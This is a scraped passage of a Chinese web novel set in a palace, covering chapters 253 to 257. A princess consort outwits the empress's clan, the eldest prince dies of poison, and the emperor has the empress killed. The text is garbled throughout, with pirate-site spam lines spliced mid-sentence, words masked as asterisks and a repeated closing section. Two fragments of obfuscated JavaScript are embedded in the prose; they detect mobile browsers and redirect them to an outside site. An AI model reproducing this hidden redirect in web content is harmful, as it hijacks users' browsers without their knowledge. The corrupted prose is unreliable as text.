他满眼的忐忑,人在家中坐,祸从天上来,好端端的在家休养,忽然被抄家,让他惊惧交加。 再一问,隔壁昌国公府一点事都没有,不禁疑 你的朋友正在书荒,快去帮帮他吧 惑。 昌国公跟在他身后这是叶家二房嫡长子也就是皇后的堂弟家族这一辈排行老二人称叶二爷。 他身材魁梧一双眼睛精光四射额头有伤疤看着挺凶狠的。 皇后一看到亲人立马红了眼眶“父亲皇上要让我病逝。” 承恩公脸色大变心跳如雷问题出在她身上? “什么?这不可能。皇上是英明之君绝不会让自己的发妻不明不白的病逝。” 不得不说这老头还挺聪明的一开始就用话拿住。 皇后拉着他的胳膊委屈的不行。“父亲你救救我吧我不想死。” 承恩公心乱如麻下意识的看向皇上。 “皇上这到底是怎么回事?” 皇上神色淡淡的“你问问你女儿做了什么?” 承恩公心中有着很不好的预感“你干了什么?” 皇后抿了抿嘴轻描淡写的说道“我只是犯了一点小小的错。” 皇上看了云筝一眼云筝立马上前笑眯眯的点头“对是小错。” 皇上不能自降身份跟人撕逼那她来嘛。 “就是克扣了太后的供给自己拿出去卖了然后银子全送到府上。” 承恩公的脸绿了敢情这一场大祸是女儿引来的她的胆子太大了。 “啪”一个巴掌挥过去。 “你这个孽障你大不孝啊我是这么教你的吗?一直以来我们叶家是以忠义传家时刻要牢记忠君爱国。” “你进宫时我是怎么教导你的?说。” 皇后脸上浮起鲜红的五指印疼的想哭却不敢哭。 “要好好侍奉皇上孝敬太后 承恩公看着爱女心如刀割“你马上去慈宁宫脱簪请罪。” 皇后不肯去推托道“父亲我错了我只是一时糊涂。” 云筝直接捅刀子“糊涂?刚才不是说要拿这些银子去养你叶家的私兵吗?” 叶家人如五雷轰顶不敢置信。 皇后不禁急了那是她被逼急的气话不能当真。“我没有。” 承恩公咬了咬牙“皇上请 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 您相信叶家的忠心,叶家没有私兵,我也不知道有这一笔钱,家中管庶务的是次子媳妇。” 昌国公一双精光 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他呆若木鸡,她想死自己解决,为什么要拖累整个家族? 皇上没有一刀了结她,没有将叶家满门抄斩,还给了他们申辩的机会…… 真是皇恩浩荡! 承恩公眼前一阵发黑,孽障啊。 “当初就不该送你进宫!” 本来安排的是次女进宫,漂亮软绵,温柔体贴,长女性格有些强硬,长相又普通,是她哭着闹着抢了这个名额。 皇后咬着嘴唇,“父亲,我就是吓唬……” 不等她说完,承恩公就两巴掌抽过去,吓唬谁?皇上吗?自寻死路! “我没有你这种不忠不孝不仁不义的女儿。” 云筝嘴角轻轻扬起,皇后不就是仗着叶家十万大军才横吗? 那,就让她的靠山亲手废掉她。 来自家人的捅刀子,是最痛的! 这是对皇后的惩罚。 皇上还是好皇上,半点都不沾手。 “承恩公,皇上特意招你进来,是问一问,太后和令公子真的有私情吗?” 全场一静,空气凝固了。 第253章 臣,恳请陛下下旨废后 这是让他们表态,负责善后! 承恩公神色紧绷,一迭声的否认,“绝无此事,太后娘娘冰清玉洁,贤良淑德,堪为天下女子之典范。 昌国公大声说道,“我和大哥感情最要好,对他的事了如指掌,我敢对天发誓,绝无此事,两人是清清白白的。 皇室要是丢了脸面,岂会放过叶家? 恐怕,叶家满门倾覆之灾就在眼前了。 云筝一脸的迷惑,“那我就不明白了,到底是你们在说谎呢?还是皇后娘娘在说谎? 她顿了顿,扔下一句诛心之言。 “到底是谁犯了欺君之罪? 承恩公听出了话里未尽之意,闭了闭眼,心中一片荒凉。 是死一个女儿,还是**?怎么选? 还能怎么选?当然是顾全大局。 叶家那么多人,他的曾孙刚刚出生,孩子白白嫩嫩的,别提有多可爱。 只是,他看了一眼大女儿,满眼的挣扎。 这是他的第一个女儿,感情是不一样的,他最疼的就是她。 捧在手掌心千娇百宠长大的女儿,这让他怎么舍弃? 皇后仿佛意识到了什么,脸上苍白,“父亲,我这就去慈宁宫请罪。 她心里一动,“请父亲陪同我一起前往。 承恩公迟疑了一下,有些拿不定主意。 其实,长子是皇上的伴读,他们跟太后娘娘是青梅竹马,从小一起长大,感情甚笃。 两家有意联姻,私底下交换了信物,谁知,一场横祸中断了亲事,两家因此断了交情。 他犹然记得,杏花树下,少男少女嬉戏打闹的场景。 一晃眼,时间过的真快,少女成了太后,一个成了帝王,另一个远走西北,一心建功立业。 云筝不干了,“这是想让承恩公以长辈的身份压人?还是想用所谓的旧情搞事? 皇后恨极了她,如果没有云筝,她就不会沦落到这种地步。 “够了,你不过是一个小小的郡主,没有资格跟本宫这么说话。 云筝发现,她是个很执拗的人,以前不显,是没有机会。 “身为太后未来的儿媳妇,为她伸张正义是我的本分,也是 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 我的责任。” “我是绝对不会看着你欺负她的。” 不知皇后是怎么想的,阴阳怪气的来了一句,“谁能欺负她?皇上对她可不是一般的好,有什么好东西宁可自己不用,也要送到慈宁宫。” 皇上的脸色沉了下来,眼睛危险的眯了起来,这才是苛扣太后供给的真正原因? 女人的嫉妒心真可怕。 这人,不能留了。 承恩公心中惊骇欲死,恨不得冲过去捂住她的嘴。 但,他不敢动,不能流露出一丝异样。 否则,等待着叶家的,将是万劫不复! 云筝心中有些异样,但死死压住,不让自己多想,也没有转头看皇上一眼。 “那是当然,皇上是大孝子,也是圣君。” 她张扬的声音响彻全场,“这满宫谁敢对太后不敬?只有你这位皇后才会仗着家世,仗着手里有十万大军,动不动就要**。” **两字,听的叶家人胆战心惊,想死的心都有了。 昌国公有些受不了,“锦云郡主,你说话别这么难听。” 云筝一点都不怂,经此一事,叶家能保住多少人,就不好说了。 她一脸的惊讶,“嫌我难听?又不是我说的,我只是转述而已。” “啊,对了,皇后娘娘刚才冲皇上嚷嚷,若不是她的父兄帮他夺嫡,恐怕未必能得到皇位。” 昌国公一听这话脸色苍白,天都塌了。 平时看堂姐挺正常的,怎么会说出这种要人命的话? 你跟男人索要恩情,男人会感激吗?只会感到耻辱。 更何况,皇上是天下至尊,帝王的尊严不容任何人践踏。 啊啊啊,救命啊。 承恩公脸色灰败,“郡主,这件事就由我来处理。” 云筝笑眯眯的点头,“好啊。” 她提点了一句,“承恩公,叶氏一族的命运就掌握在你的手里。” 要不是看在叶家世代驻守西北,于国有功,将来西凌国南下犯边,还需要叶大将军拼死抵抗的份上,她才懒的出手。 要不,以皇后说的这些话,抄家灭族就在眼前。 她让两位国公进宫,是给了他们一线生机,能不能抓 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 住,就看他们的命了。 承恩公深深的看了她一眼,她似乎在暗中帮助叶家。 他转头看 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“将士们是为了大齐,为了我们英明神武的帝王而战。” “我对天发誓,叶家永远是皇上最忠诚的臣子,永不背弃,若违誓,就让叶家……**!” 他发下毒誓,随后转身,恭恭敬敬的行了个大礼。 “皇上,我没有教好女儿,是我失职,恳请陛下收回承恩公的爵位。” “我们叶家儿孙全部退出朝堂,闭门自省。” “犬子征战多年,浑身暗伤,西北苦寒,不适合修身养性,恳请皇上允他辞去西北军主帅一职,回京城养伤。” 皇后不禁急坏了,“父亲,不可以,西北是我们叶家的根基,不能就这么拱手相让。” 承恩公心如刀割,是他愿意吗?是迫不得已。 她一口一声**,逼的叶家没有第二条可走,只能上交兵权,换取皇上的信任。 而且,叶家三代都不能进入军中,不能入仕。 除非,换了新君。 “请皇上恩准。” 皇上的视线扫过来,“锦云,你怎么看?” 云筝翻了个白眼,每次让她做坏人! 就在此时,一名宫人惊惶失措的闯进来,“禀皇上,不好了,皇子出事了……” 第254章 大皇子暴毙 “皇上,大皇子暴毙。 如一道惊雷砸下来,全场皆惊。 云筝猛的瞪大眼睛,啥?没听错吧? 皇上错愕,震惊,不敢置信。“你再说一遍。 宫人战战兢兢,大气不敢喘,“大皇子暴毙。 “还请皇上过去主持大局。 皇上脸上血色瞬间全失,身体晃了晃,太监立马扶了他一把,被他狠狠推开。 “摆驾咸安宫。 他带着人匆匆离开,云筝毫不犹豫的带着鬼医跟了上去。 叶家人面面相觑,迟疑了一下,最终没有跟上去。 别去添乱了,免得被皇上迁怒。 咸安宫,是两进的宫殿,皇子们中了毒,就集中在这里治疗。 皇子们住在二进,太医们轮流值班,住在一进。 坐着轿子赶过来的皇上,远远就听到里面哭声大作。 皇上脸色微变,“进去。 “皇上驾到。 大皇子的生母李贵嫔伏在床上,哭的死去活来,听到通禀声,立马冲过来。 “皇上,您总算来了,您快来看看我们的孩儿,快救救他。 她一把抓住皇上的胳膊,拼命往前扯。 这失礼的动作若在往常,早就被皇上喝斥,但,这会儿,皇上心魂乱了,被扯着上前。 入眼的一幕,让他瞳孔剧震。 大皇子两眼紧闭,一动不动的躺在床上,脸色白的吓人。 太医们跪在地上,如丧考妣。 皇上怒喝道,“愣着干吗?赶紧救人啊。“ 医正咬了咬牙,大着胆子禀道,“禀皇上,大皇子薨了。 皇上勃然大怒,“这不可能,刚才还好好的,怎么一转眼就…… 他的声音微颤,说不下去了。 医正重重的磕头,诚惶诚恐,“皇上,您万乘之躯,请保重龙体啊。 皇上大步上前,摸了摸大皇子的脸,还是温热的。 他伸出食指放在大皇子鼻端下,没有热气! 不,这不是真的! 大皇子再怎么不重视,也是他的亲生儿子,他怎么可能不痛? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 他不禁心痛如绞,想**! ”怎么会这样?你们太医是干什么吃的?让你们守着,就守到这个结果?” 太医们吓的瑟瑟发抖,大皇子**,他们难辞其咎。 他们拼命磕头,“皇上息怒,皇上息怒。” 皇上眼中全是暴戾之色,冷冰冰的下令,“所有服侍的宫人和太医,杖毙!” 这话一出,所有人瘫软在地,惊惧交加。 不,他们不想死。 医正面色发白,心思飞转,“皇上,且慢,先听臣一言,大皇子忽然暴毙,是毒性发作了。“ 皇上冷冷的看过来,”不是说,解了一半吗?” 几名太医相视一眼,交换了一个眼色。 李太医忽然禀道,“是鬼医,他给的药方有问题。” 王太医立马附和,“对,喝了药,大皇子才暴毙了。” 他们选择将鬼医扔出来,承受皇上的怒火。 总要死几个的,死道友不死贫道。 皇上的怒火无处发泄,烧的五脏俱焚,“把鬼医拿下。” 就在太医们暗暗庆幸时,一道清喝声猛的响起,“等一下。” 是云筝,她带着鬼医出现了。 侍卫们围了过去,要拿下鬼医,但被云筝挡在面前。 李太医见势不妙,急急的喊道,“锦云郡主,这本就不关你的事,快让开,别包庇**犯。” 鬼医能动,但锦云郡主不能动,她是未来的睿王妃,得罪了她,九千岁能饶了他们? 云筝没有理会,而是看向皇上,忽然来了一句。 “当务之急,难道不是应该查看其他三位皇子的情况吗?” 皇上愣住了。 云筝不动声色的上眼药,“皇上,这种时候应该保护皇子为重,大家怎么还有心情推卸责任?我都快担心**。” 太医们的脸色都黑了,要命,刀刀见血。 皇上的脸色变了,被怒火冲昏的脑袋清醒了几分,“快去把三位皇子带过来,快。” 在等待的过程中,全场安静的出奇,气氛压抑到了极点。 云筝淡淡瞥了床上的大皇子一眼,有疑惑,也有警觉。 不一会儿,三 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 位皇子就出现了,所有人都暗暗松了一口气。 要是再出事,大家都不用活了。 太 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李贵嫔来不及反应,抓破了医正的脸,瞬间鲜血淋漓。 王太医大声喝道,“锦云郡主,你要助纣为虐吗?还是,你是主使者?” 云筝深深的看了他一眼,王太医是吧,记住你了。 “皇上,我有几句话要说。” 换了别人,皇上不想听一个字,但,云筝嘛,他多了一份耐心。 “说。” 云筝神色清冷,“医正,鬼医的药方你看了吗?有问题吗?” “看了,但……”医正的脸疼的厉害,却不敢说什么,心中百转千回,“可能我才疏学浅,没看懂。” 云筝冷哼一声,“你是太医院院首,是大齐医术最精湛的太医,你说这话合适吗?” 医正抿了抿嘴,“我不擅长毒术。” 云筝扬了扬眉,“看不懂,却用了这药方?” 她太犀利了,敏锐的抓住关键点。 皇上的眼神阴冷的可怕。 医正闭了闭眼,将复杂的情绪压了下去,“是。” 云筝大声指控,“太医院**,轻慢皇子们的身体,请皇上治罪。” 第255章 我不服,要死,一起死 医正脸色白的吓人,“锦云郡主,你这是为鬼医开脱!不管如何,这药方是他给的。” 为了脱身,他别无选择。 云筝反问道,“鬼医拿出药方时说过,能不能用,你们看着办。” “没经过验证的药方,你们贸然用了,出了问题,你们不是第一责任人吗?怎么好意思怪别人?” 随着她的话,皇上的脸色越来越难看。 医正的心高高悬在空中,紧张的满头大汗。 王太医急急的大叫,“大皇子喝了鬼医开的药方,才死的。” 他是负责大皇子的专属太医,大皇子暴毙,他的责任最大。 一想到要被满门抄斩,他就疯狂的推卸责任。 云筝冷笑一声,“照这么说,凡是经手人都有问题,包括医正,和整个太医院。” “皇上,若单独杀鬼医,我是不服气的。” 她手指所有太医,“要死,一起死。” 太医们面如死灰,瑟瑟发抖。 王太医气急败坏的大吼,“锦云郡主,你这么包庇鬼医,我有理由怀疑是你指使的……” 云筝拿起茶杯砸过去,“我指使?对我有什么好处?” 王太医被砸了个正着,气的要命,野蛮! 云筝还在继续攻击,“不像你,身为太医,守在大皇子身边,还能让他出事。” “是真的没办法救治?还是……眼睁睁的看着他死去,故意嫁祸别人?” **诛心,莫过于此。 这句话说进了皇上心里,看王太医的眼神充满了杀意。 不管是不是故意的,没有救下大皇子,就是罪。 云筝理直气壮的说道,“再说了,包庇自己的家人,有什么问题吗?难道人人学你六亲不认,眼里只有功名利禄吗?” 家人?鬼医愣住了,神色复杂到了极点,感动之情油然而生。 王太医气的浑身发抖,“你……” 云筝咄咄逼人的质问,“出了问题,不是急着解决,想办法抓住真凶,反而急着推卸责任,怎么看着像在为真凶打掩护?” 王太医气的浑身发抖,“你胡说八道。” 皇上冰冷的声音响起,“放肆,胆敢锦云郡主无礼 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,掌嘴。” 侍卫一巴掌挥过去,“啪。” 王太医的脸肿了,眼前一阵阵发黑。 但,更刺激的还在后面。 “王太医,救治皇子不利,诛!王家查抄,全家流放!” 王太医如五雷轰顶,流下了眼泪,“皇上开恩,郡主是故意害我,她……” 鬼医冷笑道,“凭你,你也配?” “她没惹你们任何人,是你们主动挑衅。” 王太医害怕的要命,“医正,快帮我求求情。” 医正眼神躲闪,不敢看他。 王太医的心彻底绝望了,被侍卫拖了出去。 留下来的太医们遍体生寒,又是害怕,又是庆幸。 幸好,不是自己。 又害怕,下一个轮到自己。 鬼医向皇上拱了拱手,“禀皇上,我的药方没问题,但,从取出药材,煎药,送到大皇子面前,这一过程经手人很多,每一个环节都有可能出现问题。” “恳请皇上,查验药渣。” 皇上微微颌首,“来人,把药渣取来。” 鬼医补了一句,“对了,把几位皇子没喝的药一并取来。” 不一会儿,宫人就两手空空的回来了。 “禀皇上,几位皇子的药没喝,都倒了,药渣找不到了。” 皇上的脸色铁青,“医正,按照规矩,为了以防万一,药渣在十二时辰内是不能倒的,要存档,这是怎么回事?” 医正慌的要命,“臣也不知道,兵荒马乱的都顾不上,可能忙中出了错。” 皇上暂时压下怒火,冷冰冰的下令,“限你们一炷香时间内,不惜一切代价,找出药渣。” 不光太医动了起来,宫中禁军,明镜司都四处探查。 这一番大动静,很快就有了消息。 院中不起眼的角落,挖出了深埋的药渣。 皇上脸色难看到了极点,“医正,你先来。” 医正深吸一口气,让自己冷静下来,这才开始验药渣。 半晌后,他迟疑了一下,“好像……多了一味药,你们都来看看。” 太医们围了过来,“多了一味八角莲。” 皇上 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249243|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >的眼睛危险了眯了起来,“这是什么药?” 医正的心凉透了,多了一味药,说明,不是药方的问题。 “八角莲具有清热解毒,活血散瘀之功效,按理说,不应该啊。” 他心里一动,“鬼医,你怎么看?” 鬼医听而不闻,不理不睬。 医正很是诚恳,“兹事体大,还请鬼医不计前嫌,以大局为重。” 鬼医可不会被道德**,“哦,我向来不识大体,多做多错,不做不错,我可不想替你们背黑锅。” 医正没有办法,求助皇上。 皇上看看他们,又看了一眼鬼医,忽然唤道,“锦云。” 云筝挑了挑眉,“鬼医,你就让这些目空一切的太医开开眼界。” 鬼医这才开了金口,“八角莲跟其中一味药相克,产生大量毒素,才会导致大皇子暴毙。” “八角莲不是寻常药材,能拿到这一味药材,又会医术,屈指可数。” 皇上心中有数了,“凡是经手之人,统统拿下,分开拷打……” 就在此时,一名宫人匆匆闯进来。 “禀皇上,负责煎药的林太医在房间服毒自尽了。” 他双手奉上一封信,“这是他留下来的遗书。” 遗书就写了,他不小心弄错了一味药,酿成大错,只能以死谢罪。 云筝呵呵一笑,“死的正是时候。” 她摆明了不信,是**?还是**? 显然,皇上也是这么想的,“找仵作过来验尸。” “任何人不得随意走动,继续追查,太医分开问讯。” “今日之前必须给朕一个确切无误的结果!朕要知道谁才是幕后黑手!” “是。” 他挥了挥手,“都出去,朕想一个人待会。” “是。” 众人纷纷退出房间,李贵嫔也被带了下去。 临出门时,云筝回头看了一眼。 皇上静静看着床上的大皇子,侧脸说不出的孤寂和悲伤。 她心里一凛,皇上丧子之痛,总要发泄出来的。 天子一怒,伏尸百万,流血千里。 皇上要大开杀戒了! 不好!鬼医一定会被迁怒! 跟皇上这种人是没办法讲道理的! 死脑,快想想办法! 第256章 帝王之怒 院子中,几位皇子面面相觑,神色凝重。 大皇兄**,死的这么仓促。 而他们,差一点点就步了他的后尘。 二皇子看着两个弟弟,不动声色的试探,“到底是谁这么丧心病狂? 一直以来,三皇子和四皇子都是最有竞争力的,朝臣们早就投诚,各为其主,在朝堂中兴风作浪。 四皇子微微蹙眉,“我也很想知道,三皇兄,你知道吗? 三皇子眼中闪过一丝恼怒,“你什么意思?怀疑我?我还怀疑你呢,你向来没什么底线。 四皇子怼了一句,“我就问问,你心虚什么。 另一边,云筝带着鬼医离他们远远的。 她压低声音说道,“这次我们恐怕有麻烦了。 鬼医对此心知肚明,他一身医术,却从来没想过进太医院。 因为,伴君如伴虎,随时有性命之忧。 一不小心就受牵连,轻则贬黜,重则处死或株连九族。 “若有事,我一力承担,你帮我照顾好康儿就行。 他相信云筝的人品,一诺千金,言出必行,极讲信誉。 云筝摆了摆手,“还没到那一步,让我好好想想。 她略一沉吟,眼睛一亮,“有了。 两人窃窃私语,商量着对策。 不知过了多久,几个皇子走了过来。 二皇子大剌剌的说道,“鬼医,你以后跟着我吧,云筝给你多少,我翻倍。 经此一事,他意识到有一个医术高明的大夫有多重要。 三皇子也拍着胸口保证,“鬼医,我可以保你一世荣华富贵,你跟我吧。 四皇子意味深长的保证,“鬼医,你只要你想要的,我都能帮你达成。 鬼医只是淡淡一笑,“我想要的,锦云郡主都给我了。 她给了他们祖孙一个安稳的家,这是多少银子都买不到的。 他孤苦漂泊了半生,终于有了落脚地。 还给孙子安排了最好的书院,为他铺路,助他科举。 这就够了。 四皇子微微蹙眉,“鬼医,你别犯糊涂,这世上权比钱重要。 你的朋友正在书荒,快去帮帮他吧 鬼医直言不讳,“你们要的是奴才,而她把我们当家人,完全信赖,相互扶持的家人。” 家人,多么珍贵的字眼啊,对他们这种漂泊半生的人来说,有着致命的吸引力。 几位皇子有片刻的恍惚,家人?他们有吗? 四皇子心有不甘,“没想到鬼医也这么天真,她这是贪图你的本事。” 鬼医得意洋洋的显摆,“那又如何?我乐意,我骄傲。” 云筝看着这些皇子,亲兄弟**,他们没有半点悲伤,还急着抢人。 不得不感慨,皇室亲情薄如纸。 她来了一句,“四皇子,你的心真大,怎么还有心情挤兑别人?” 四皇子摆了摆手,神色笃定,“听闻外祖父进宫了,母后不会有事的。” 云筝呵呵一笑,“你以后自求多福吧。” “如果,有以后的话。” 四皇子毛骨悚然,“你这是什么意思?” 就在此时,门开了,皇上走了出来。 皇上站在高高的台阶上,神色深沉如晦,浑身散发的杀气,让人不由自主的颤抖。 “起旨,大皇子忽然病逝,皇后伤心之下也跟着去了,七日后举行国葬,满朝文武悉数参加。” 如一道惊雷,在所有人头顶炸开了,皆变了脸色。 皇后薨?! 四皇子的心如被一记重锤砸中,面色惨白如纸。 完了,被云筝料中了! 皇后一死,他就没有了靠山,叶家还会支持他吗? 无数个念头在脑海闪过,一时之间,心乱如麻。 云筝暗自心惊,不愧是帝王心术,太狠了。 皇上冷冰冰的看着几个儿子,仿佛要在他们脸上看到悲伤之色,但,他注定要失望了。 他又下了一道旨意,“凡侍候大皇子的奴婢统统杖毙。” 所有的奴婢瘫软在地,泪如泉涌。 皇上的视线落在鬼医脸上,鬼医浑身一颤,心底升起浓浓的危机。 “你……” 云筝的反应极快,抢先说道,“皇上,三位皇子身上的毒素得抓紧解,我怕夜长梦多。” 这是提醒他,鬼医暂时不能死。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “我别的帮不上忙,但,可以将鬼医借出来,让他守在皇子们身边。” 她言词诚恳,“以鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249244|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医的本事,就算只有一口气,也能将人拉回来。” 皇上心中的杀念稍退,“这么厉害?” 云筝用力点头,“医毒双绝,不是说说而已。” “对了,我有事要禀……啊,算了,以后再提吧。” 皇上深深的看了她一眼,“说。” 云筝清咳一声,“我之前让鬼医研究了几味药丸,美容丸,吃了肤若凝脂。” “三味丸,吃了头发如墨。” “还调制了几种护肤美颜的乳膏胭脂水粉,都是极好的东西。” 她顿了顿,不动声色的看皇上的脸色,他面无表情的听着,不知在想些什么。 她眼珠一转,“我将另开一条线,专门生产销售这些东西,光是这些,就能挣到您半个帝陵。” 皇上抬眸,有些意外。 三皇子咋咋唬唬的声音响起,“开什么玩笑,一些脂粉和美容丸就能挣到这么多钱,你当我们傻啊。” “千万不要低估世人的爱美之心,三皇子,你妻妾的梳妆台上堆满了胭脂水粉,你可以回去问问,花了多少钱。” “只要东西好,她们会一掷千金豪购,只为了变美。” “我敢说,这将是我云氏商号最挣钱的一条线。” 三皇子一脸的不信,“卖脂粉的铺子那么多,怎么没你说的那么挣钱?” 云筝举起一根手指,“其一,因为操盘的人是我,这世上我若称第二,无人敢称第一。” 就是这么骄傲,这么自信。 她又竖起一根手指,“其二,这些东西都出自鬼医之手,他医毒双绝,研发出来的东西比别人强上百倍。” 众人倒抽一口冷气。 四皇子眼红了,看鬼医的眼神像看着一个聚宝盆,想要! “这是强强联手?” 云筝微微颌首,“不错,我的经商才能,配上他在研发方面卓越的能力,天下无敌。” 她说的如此豪气,皇上心动了,“你确定?” 云筝看在眼里,嘴角轻轻上扬,人呢,只要价值够大,就舍不得杀了。 “当然确定,我让他少研究毒,多搞些挣钱的药膏药粉……” 她忽然一顿,眼睛刷的亮了,“啊,我又想到了一个挣钱的好点子,我真是绝世天才!” 大家不约而同的问,“是什么?” 第257章 丧钟为谁敲响 云筝神色认真的问道,“鬼医,你能搞出止血药吗?要比市面上的好。” 鬼医一脸的傲气,“区区小事,难不倒我。” 当初云筝让他搞这些时,他嫌没意思,但,不好违背她的愿意,搞了一些出来。 没想到,有朝一日还能救命。 云筝大喜过望,“好,太好了,这么一来,我们还可以卖止血药,卖给江湖人,卖给商人,卖给达官贵人。” “他们都不差钱,定价可以高些,一瓶……一百两黄金吧。” 关键时刻能救命,卖的贵点没毛病。 再说了,可以调整配方,分成三个档位,最好的卖给达官贵人,中等的卖给商人,低档的就便宜点卖给平民。 二皇子听的目瞪口呆,“锦云,你这是钻到钱眼里去了。” 短短几句话,又发现了商机,不得不服。 这样的人才,他想要! 怎么才能拥有? 四皇子心情说不出的复杂,她确实是商业奇才,随便想想就有金点子。 可惜,性子不好,死脑筋,只效忠君王。 好想招揽到麾下! 还能买一送一呢。 三皇子看看这个,看看那个,都想要。 但,他无声的叹了口气,他和云筝注定不能站在同一阵营。 众人的反应尽入皇上眼底,他若有所思。 “鬼医。” 鬼医拱了拱手,一颗心紧绷,“草民在。” 皇上问道,“你能研究出便宜又好用的速效止血药吗?” 云筝微微低头,掩去了眼中的笑意。 皇上总算想到这一点了,好用的止血药能提升战场伤员生存率,减少伤亡,意义非凡。 而,皇上在军中的威望将得到极大的提升。 不枉她演了这么久。 她自己不能提,皇上猜忌你招揽军心,那就完蛋了。 鬼医振振有词,“这个有点难度,一般来说,止血的原药材都挺贵的,要找出可替代的,得花一点时间。” 就是说,能! 皇上沉重的心情有所松动,军中的止血药效果不咋地,全凭自己硬杠。 “ 需要多久?” 鬼医略一沉吟,“如果太医院的药库和医书都对我开放,随时可取用,半年吧。” “若不能,需要延长到一年。” 皇上微微颌首,“可,小安子,把太医院的令牌给他。“ 太监将一块令牌送到鬼医手里,皇上说道,”你拿着这块令牌,就能在太医院来去自如。” 鬼医紧紧握住令牌,暗暗松了一口气,“谢皇上。” 皇上的视线落在云筝脸上,“锦云,你说的这些脂脂水粉都是现成的?” “对。”云筝从怀里掏出一个玉瓶,挖开盖子,挖了一坨,擦在手上,“这是紫玉膏,用了皮肤细腻嫩白。” 她自己当场擦手,肉眼可见的水润了。 她还看向众人,“谁想试试?” 三皇子伸出手,积极响应,“我来。” 云筝翻了个白眼,“拿去吧。” 三皇子当场试用,“咦,不错啊,手变的滑滑的。” “给我试试。” “我也要。” 皇子们都是识货的,一试用就知道是好东西,比内务府供应的要好。 “锦云郡主,我要参股。” “我们合作吧。” 看着纷纷求合作的皇子们,云筝撇了撇嘴,“不是刚分给你们玻璃生意吗?这个就别掺和了,我还得给皇上建帝陵。” 皇上扬了扬眉,“锦云,你若不能挣到半座帝陵,一年后朕就砍了鬼医。” 云筝拍着胸口保证,“皇上放心。” 皇上故意说道,“朕要最好的。” 云筝不假思索的点头,“历朝历代最好的帝陵花费八百万,我给您建一个一千万的,如何?” 她不会将生意归到内务府,而是挂在自己名下,打着皇室的名义卖货,用内务府的渠道出货,自然要交保护费,迟早要给,不如主动些,卖个好。 能上交五百万,她自己也不会少这个数。 嗯,含泪把钱挣了,太不容易,多卖卖惨。 皇上严肃的脸上总算有所松动,“算你懂事。” 云筝立马抓住机会,提了个要求,“皇上,这几日我想住在慈宁宫,陪伴太后,可行?” 国丧 期间,朝中百官和百姓们都要为皇后服丧,后宫和官眷都要跪灵,跪足七日,是非常辛苦的。 皇上深深的看了她一眼,她这是要躲懒。 这丫头心眼太多,但胜在,人品好,讲义气,又孝顺。 “只要太后愿意就行。” 坤宁宫,皇后跪在父亲面前苦苦哀求。“父亲,救救我吧。” 叶老将军沉痛不已,“怎么救?你胞兄这些年出生入死,拼死拼活才当上西北军主帅,却因为你的一句话,前功尽弃。” “叶家所有子弟退出朝堂,三代不得出仕。” “三代之后,我们叶家早就沦为平民。” 皇后后悔莫及,“我知道错了,但……” 正说着话,一声巨响,“哐。” 大家吓了一跳,纷纷问道,“这是什么声音?” “哐。”又是一声巨响。 承恩公的脸色大变,“是丧钟。”为谁而敲? 所有人停下来,人,侧耳倾听,暗暗数着数。 一下,两下,三下……整整响了七下。 本朝律,皇帝驾崩,丧钟敲九下,太后薨,是八下,皇后去世,是七下! 皇后眼前一黑,不敢置信,“我好像听错了,怎么可能是七下?” 承恩公呆呆的看着女儿,满眼的心痛。 皇后的眼泪刷的下来了,“父亲,我还活着,皇上怎么能这么对我?” 丧钟一响,昭告天下,她不死也得**。 如此绝情,全然不顾夫妻之情。 叶老将军眼眶通红,“孩子,皇命难违,你……” 话音刚落,几名太监托着托盘进来了。 为首的太监扯着嗓子说道,“奉皇上之命,前来恭送皇后娘娘。” 三个托盘,一个是**,一个是白绫,一个是毒酒。 “您选一个吧。” 皇后崩溃了,她一个都不想选,“我要见皇上。” 太监神色淡漠,“皇上不想见您,还请皇后体面的上路吧。” 皇后拼命摇头,“我不。” 太监冷冷的看了她一眼,“那,奴婢送您一程。” 他端起毒酒,一步步逼近。 皇后吓的脸色惨白,大声尖叫,“父亲,救我。” 叶老将军忍不住想上前,却被侄子死死按住。 “伯父,皇上金口玉言,绝不可能更改,多想想叶家其他人吧。” 太监看了过来,语气冷漠,“叶老将军,皇上念在叶家世代忠义的份上,没有满门抄斩是格外开恩了。” 事已至此,皇后咬破了嘴唇,心死如灰,“都住手,本宫自己来。” 她接过毒酒,定定的看着众人。 “愿来生,不再入帝王家。” 说完这话,她神色绝决的举起酒杯一口饮尽,不一会儿,就口吐黑血。 叶老将军闭了闭眼,不忍再看。 “皇后薨。” 此时的众人都没有想到,这只是一个开始。 葬礼上接二连三的出事,将是所有人的噩梦。 期间,朝中百官和百姓们都要为皇后服丧,后宫和官眷都要跪灵,跪足七日,是非常辛苦的。 皇上深深的看了她一眼,她这是要躲懒。 这丫头心眼太多,但胜在,人品好,讲义气,又孝顺。 “只要太后愿意就行。” 坤宁宫,皇后跪在父亲面前苦苦哀求。“父亲,救救我吧。” 